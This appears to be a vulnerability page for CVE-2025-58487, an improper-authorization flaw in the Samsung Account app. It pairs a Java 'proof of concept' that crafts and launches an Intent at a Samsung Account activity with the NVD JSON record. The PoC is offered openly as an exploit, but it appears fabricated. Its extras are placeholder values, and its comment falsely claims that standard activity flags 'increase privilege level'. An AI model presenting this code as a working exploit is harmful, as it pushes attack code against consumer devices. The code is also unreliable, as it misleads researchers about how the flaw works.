CVE-2025-58487

// CVE-2025-58487 PoC - Samsung Account Activity Hijacking // This PoC demonstrates the improper authorization vulnerability in Samsung Account public class SamsungAccountExploit { private static final String SAMSUNG_ACCOUNT_PKG = "com.osp.app.signin"; // Target Activity - specific component depends on vulnerable version private static final String TARGET_ACTIVITY = "com.osp.app.signin.ui.samsungaccount.SamsungAccountMainActivity"; /** * Construct malicious intent to exploit improper authorization * @param context Application context * @return Intent object with crafted payload */ public static Intent createExploitIntent(Context context) { Intent intent = new Intent(); // Set component to target Samsung Account Activity intent.setComponent(new ComponentName( SAMSUNG_ACCOUNT_PKG, TARGET_ACTIVITY )); // Add malicious parameters intent.putExtra("exploit_flag", true); intent.putExtra("target_action", "arbitrary_activity_launch"); // Add flags to increase privilege level intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); return intent; } /** * Trigger the exploit by starting the activity * @param context Application context */ public static void triggerExploit(Context context) { try { Intent exploitIntent = createExploitIntent(context); context.startActivity(exploitIntent); Log.i("CVE-2025-58487", "Exploit triggered successfully"); } catch (Exception e) { Log.e("CVE-2025-58487", "Exploit failed: " + e.getMessage()); } } } // Usage: // SamsungAccountExploit.triggerExploit(getApplicationContext());

{"cve": {"id": "CVE-2025-58487", "sourceIdentifier": "[email protected]", "published": "2025-12-02T02:15:48.767", "lastModified": "2025-12-03T17:29:03.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper authorization in Samsung Account prior to version 15.5.01.1 allows local attacker to launch arbitrary activity with Samsung Account privilege."}, {"lang": "es", "value": "Autorización indebida en Samsung Account versiones anteriores a la 15.5.01.1 permite a un atacante local lanzar actividad arbitraria con privilegios de Samsung Account."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:account:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.5.01.1", "matchCriteriaId": "ADCF1AE1-0682-4C36-AB63-0A6B114BA75E"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=12", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}